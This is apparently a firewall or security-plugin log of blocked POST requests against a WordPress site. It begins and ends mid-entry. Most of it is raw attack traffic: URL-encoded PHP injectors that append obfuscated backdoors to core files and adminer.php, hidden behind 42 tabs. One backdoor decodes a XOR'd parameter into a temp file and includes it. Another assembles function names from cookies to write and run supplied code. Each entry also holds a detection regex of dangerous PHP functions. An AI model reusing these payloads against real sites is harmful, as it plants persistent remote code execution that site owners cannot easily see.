C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:47:48","195.250.29.165","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522o%255Cx62%255Cx6A%2522%2529%2529%257B%2520%2524symbol%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2524_REQUEST%255B%2522o%255Cx62%255Cx6A%2522%255D%253B%2520%2524fac%2520%253Dexplode%2520%2528%2527.%2527%2520%252C%2524fac%2520%2529%2520%253B%2520%2524data%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2520%2524salt%2529%253B%2520%2524l%2520%253D%25200%253B%2520foreach%2528%2520%2524fac%2520as%2520%2524v5%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E89%253B%2520%2524data.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524l%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524symbol%2520as%2520%2524object%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524value%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524object%252C%2520%2522.tkn%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524value%252C%2520%2524data%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524value%253B%2520unlink%2528%2524value%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4406\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522o%255Cx62%255Cx6A%2522%2529%2529%257B%2520%2524symbol%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2524_REQUEST%255B%2522o%255Cx62%255Cx6A%2522%255D%253B%2520%2524fac%2520%253Dexplode%2520%2528%2527.%2527%2520%252C%2524fac%2520%2529%2520%253B%2520%2524data%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2520%2524salt%2529%253B%2520%2524l%2520%253D%25200%253B%2520foreach%2528%2520%2524fac%2520as%2520%2524v5%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E89%253B%2520%2524data.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524l%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524symbol%2520as%2520%2524object%2529%253A%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524value%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524object%252C%2520%2522.tkn%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524value%252C%2520%2524data%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524value%253B%2520unlink%2528%2524value%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 14:47:55","77.73.233.48","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ej:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/adminer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B39%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B39%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B2%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B28%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B13%255D.%2524p%255B20%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-length:3217\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEJbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nEj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/adminer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B39%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B39%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B2%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B28%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B13%255D.%2524p%255B20%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:48:00","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Fx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/adminer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B39%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B39%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B2%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B28%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B13%255D.%2524p%255B20%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-length:3217\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEatvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nFx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/adminer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B39%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B39%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B2%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B28%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B13%255D.%2524p%255B20%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:48:29","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/adminer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B39%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B39%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B2%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B28%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B13%255D.%2524p%255B20%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-length:3217\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 